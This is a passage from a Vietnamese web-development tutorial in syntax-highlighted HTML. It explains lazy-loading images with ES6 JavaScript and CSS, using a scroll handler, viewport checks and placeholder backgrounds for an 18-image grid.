punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">100</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">handleScroll</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> arrayImages<span class="token punctuation">.</span>length <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">>=</span> <span class="token number">0</span><span class="token punctuation">;</span> i<span class="token operator">--</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">elementInViewport</span><span class="token punctuation">(</span>arrayImages<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> arrayImages<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">.</span>classList<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token string">"visible"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> arrayImages<span class="token punctuation">.</span><span class="token function">splice</span><span class="token punctuation">(</span>i<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">// Check if a DOM element is in the viewport</span> <span class="token keyword">function</span> <span class="token function">elementInViewport</span><span class="token punctuation">(</span><span class="token parameter">el</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> rect <span class="token operator">=</span> el<span class="token punctuation">.</span><span class="token function">getBoundingClientRect</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> rect<span class="token punctuation">.</span>top <span class="token operator">>=</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> rect<span class="token punctuation">.</span>left <span class="token operator">>=</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> rect<span class="token punctuation">.</span>top <span class="token operator">&lt;=</span> <span class="token punctuation">(</span>window<span class="token punctuation">.</span>innerHeight <span class="token operator">||</span> document<span class="token punctuation">.</span>documentElement<span class="token punctuation">.</span>clientHeight<span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>main.css</strong></p> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.app .grid .cell .lazy-image</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/place-holder.png"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token property">background-size</span><span class="token punctuation">:</span> cover<span class="token punctuation">;</span> <span class="token property">background-repeat</span><span class="token punctuation">:</span> no-repeat<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">height</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">padding-top</span><span class="token punctuation">:</span> 66.64%<span class="token punctuation">;</span> <span class="token property">opacity</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">transition</span><span class="token punctuation">:</span> opacity 0.2s ease-in-out<span class="token punctuation">;</span> <span class="token property">-webkit-transition</span><span class="token punctuation">:</span> opacity 0.2s ease-in-out<span class="token punctuation">;</span> <span class="token property">-moz-transition</span><span class="token punctuation">:</span> opacity 0.2s ease-in-out<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.app .grid .cell .lazy-image.visible</span> <span class="token punctuation">{</span> <span class="token property">opacity</span><span class="token punctuation">:</span> 1<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-01.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/01.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-02.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/02.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-03.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/03.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-04.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/04.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-05.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/05.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-06.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/06.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-07.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/07.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-08.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/08.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-09.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/09.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-10.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/10.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-11.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/11.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-12.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/12.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-13.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/13.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-14.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/14.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-15.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/15.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-16.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/16.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-17.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/17.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-18.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/18.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p><div class="gatsby-resp-iframe-wrapper" style="padding-bottom: 56.515151515151516%; position: relative; height: 0; overflow: hidden; " > <div class="embedVideo-container"> <iframe title="" src="https://www.youtube.com/embed/6Y-fgdRyLUU?rel=0" class="embedVideo-iframe" style="border:0; position: absolute; top: 0; left: 0; width: 100%; height: 100%; " loading="eager" allowfullscreen="" sandbox="allow-same-origin allow-scripts allow-popups"></iframe> </div> </div></p> <a href="https://github.com/completejavascript/lazy-loading-image-es6-css-demo" class="btn btn-primary margin-bottom"> Xem code trên Github </a> <a href="http://about.phamvanlam.com/lazy-loading-image-es6-css-demo" class="btn btn-primary margin-bottom"> Xem Demo </a> <h3 id="giải-thích-cách-triển-khai-lazy-loading-image-với-es6-và-css" style="position:relative;"><a href="#gi%E1%BA%A3i-th%C3%ADch-c%C3%A1ch-tri%E1%BB%83n-khai-lazy-loading-image-v%E1%BB%9Bi-es6-v%C3%A0-css" aria-label="giải thích cách triển khai lazy loading image với es6 và css permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giải thích cách triển khai Lazy Loading Image với ES6 và CSS</h3> <h4 id="render-ảnh-với-place-holder" style="position:relative;"><a href="#render-%E1%BA%A3nh-v%E1%BB%9Bi-place-holder" aria-label="render ảnh với place holder permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Render ảnh với Place Holder</h4> <p>Toàn bộ ảnh mình sẽ render bên trong thẻ <em>div</em> với tên class là <em>grid</em>.</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>grid<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token comment">&lt;!-- Render each cell here from JavaScript --></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span></code></pre></div> <p>Do đó, mình sẽ phải tạo ra reference đến thẻ đó trước để làm container.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> gridContainer <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".grid"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Sau đó, mình sẽ sử dụng <a href="/su-dung-es6-template-string-co-gi-hay/">ES6 Template String</a> để định nghĩa template cho mỗi cell (chứa ảnh và caption).</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">cellTemplate</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">id</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string"> &lt;div class="cell"> &lt;div class="lazy-image" id="</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>id<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">">&lt;/div> &lt;div class="caption"></span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>id<span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token string">"-"</span><span class="token punctuation">,</span> <span class="token string">" "</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">&lt;/div> &lt;/div> </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span></code></pre></div> <p>Cuối cùng, mình sẽ render 18 <em>cell</em> vào trong <em>gridContainer</em>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token constant">NUMBER_IMAGE</span> <span class="token operator">=</span> <span class="token number">18</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">&lt;=</span> <span class="token constant">NUMBER_IMAGE</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> id <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">image-</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>i <span class="token operator">&lt;</span> <span class="token number">10</span> <span class="token operator">?</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">0</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>i<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span> <span class="token operator">:</span> i<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token keyword">const</span> tmpl <span class="token operator">=</span> <span class="token function">cellTemplate</span><span class="token punctuation">(</span>id<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> frag <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createRange</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">createContextualFragment</span><span class="token punctuation">(</span>tmpl<span class="token punctuation">)</span><span class="token punctuation">;</span> gridContainer<span class="token punctuation">.</span><span class="token function">appendChild</span><span class="token punctuation">(</span>frag<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Ở đây, mỗi ảnh được xác định trong thẻ <em>div</em> với tên class là <em>lazy-image</em> nên mặc định ảnh background sẽ là ảnh Place Holder. Phần này được định nghĩa trong <em>main.css</em>.</p> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.app .grid .cell .lazy-image</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/place-holder.png"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token property">background-size</span><span class="token punctuation">:</span> cover<span class="token punctuation">;</span> <span class="token property">background-repeat</span><span class="token punctuation">:</span> no-repeat<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">height</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">padding-top</span><span class="token punctuation">:</span> 66.64%<span class="token punctuation">;</span> <span class="token property">opacity</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">transition</span><span class="token punctuation">:</span> opacity 0.2s ease-in-out<span class="token punctuation">;</span> <span class="token property">-webkit-transition</span><span class="token punctuation">:</span> opacity 0.2s ease-in-out<span class="token punctuation">;</span> <span class="token property">-moz-transition</span><span class="token punctuation">:</span> opacity 0.2s ease-in-out<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Và id của mỗi ảnh lần lượt là: image-01, image-02, ..., image-18. Phần id này sẽ được dùng để xác định ảnh gốc được load ứng với mỗi <em>cell</em>.</p> <p>Như vậy là đến đây mình đã xây dựng được <a href="/co-ban-ve-dom-javascript/">cấu trúc DOM Tree</a>. Tiếp theo mình sẽ xử lý việc load ảnh khi scroll màn hình.</p> <h4 id="xử-lý-việc-load-ảnh-khi-scroll-màn-hình" style="position:relative;"><a href="#x%E1%BB%AD-l%C3%BD-vi%E1%BB%87c-load-%E1%BA%A3nh-khi-scroll-m%C3%A0n-h%C3%ACnh" aria-label="xử lý việc load ảnh khi scroll màn hình permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xử lý việc load ảnh khi scroll màn hình</h4> <p>Trước tiên, mình sẽ query để lưu lại các phần tử DOM cần Lazy Loading Image vào một mảng để tiện xử lý sau này.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arrayImages <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span>document<span class="token punctuation">.</span><span class="token function">querySelectorAll</span><span class="token punctuation">(</span><span class="token string">".lazy-image"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ở đây phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelectorAll">querySelectorAll</a> trả về <a href="https://developer.mozilla.org/en-US/docs/Web/API/NodeList">NodeList</a> chứ không phải <a href="/array-la-gi-array-trong-javascript/">Array</a>. Nên mình sẽ phải convert NodeList sang Array. Bạn có thể tham khảo bài viết <a href="https://davidwalsh.name/nodelist-array">Convert NodeList to Array</a> để biết thêm chi tiết.</p> <p><strong>Mục đích của mình khi lưu các phần tử DOM này vào Array là gì?</strong></p> <p>Khi scroll màn hình, mình sẽ duyệt mảng này để kiểm tra từng phần tử DOM trong mảng. Nếu nó nằm trong viewport thì mình sẽ tiến hành load ảnh gốc lên. Và sau khi load ảnh xong, mình sẽ xoá phần tử này khỏi mảng, để không cần phải kiểm tra lại mỗi khi scroll màn hình.</p> <p>Cụ thể hàm <em>handleScroll</em> là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">handleScroll</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> arrayImages<span class="token punctuation">.</span>length <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">>=</span> <span class="token number">0</span><span class="token punctuation">;</span> i<span class="token operator">--</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">elementInViewport</span><span class="token punctuation">(</span>arrayImages<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> arrayImages<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">.</span>classList<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token string">"visible"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> arrayImages<span class="token punctuation">.</span><span class="token function">splice</span><span class="token punctuation">(</span>i<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Đọc đến đây có thể bạn sẽ thắc mắc tại sao mình lại duyệt từ phần tử <strong>arrayImages.length - 1</strong> về 0 mà không phải là ngược lại. Bởi lẽ, khi mình sử dụng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice">splice</a> thì số phần tử của mảng sẽ giảm đi. Tức giá trị <strong>arrayImages.length</strong> sẽ thay đổi. Dẫn đến việc duyệt mảng sẽ bị thiếu.</p> <p>Ngoài ra, hàm kiểm tra xem 1 phần tử có nằm trong viewport hay không vẫn không thay đổi so với bài viết trước:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">elementInViewport</span><span class="token punctuation">(</span><span class="token parameter">el</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> rect <span class="token operator">=</span> el<span class="token punctuation">.</span><span class="token function">getBoundingClientRect</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> rect<span class="token punctuation">.</span>top <span class="token operator">>=</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> rect<span class="token punctuation">.</span>left <span class="token operator">>=</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> rect<span class="token punctuation">.</span>top <span class="token operator">&lt;=</span> <span class="token punctuation">(</span>window<span class="token punctuation">.</span>innerHeight <span class="token operator">||</span> document<span class="token punctuation">.</span>documentElement<span class="token punctuation">.</span>clientHeight<span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Và để ảnh gốc hiện lên, mình sẽ thêm vào <em>classList</em> giá trị <em>visible</em>. Vì mình đã định nghĩa trong <em>main.css</em>:</p> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.app .grid .cell .lazy-image.visible</span> <span class="token punctuation">{</span> <span class="token property">opacity</span><span class="token punctuation">:</span> 1<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-01.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/01.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-02.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/02.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-03.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/03.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-04.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/04.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-05.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/05.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-06.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/06.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-07.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/07.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-08.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/08.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-09.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/09.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-10.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/10.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-11.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/11.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-12.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/12.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-13.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/13.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-14.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/14.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-15.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/15.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-16.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/16.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-17.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/17.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">#image-18.visible</span> <span class="token punctuation">{</span> <span class="token property">background-image</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"images/18.jpg"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Công việc cuối cùng là đăng ký sự kiện <em>scroll</em> đối với <em>window</em>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> debounceTimer<span class="token punctuation">;</span> window<span class="token 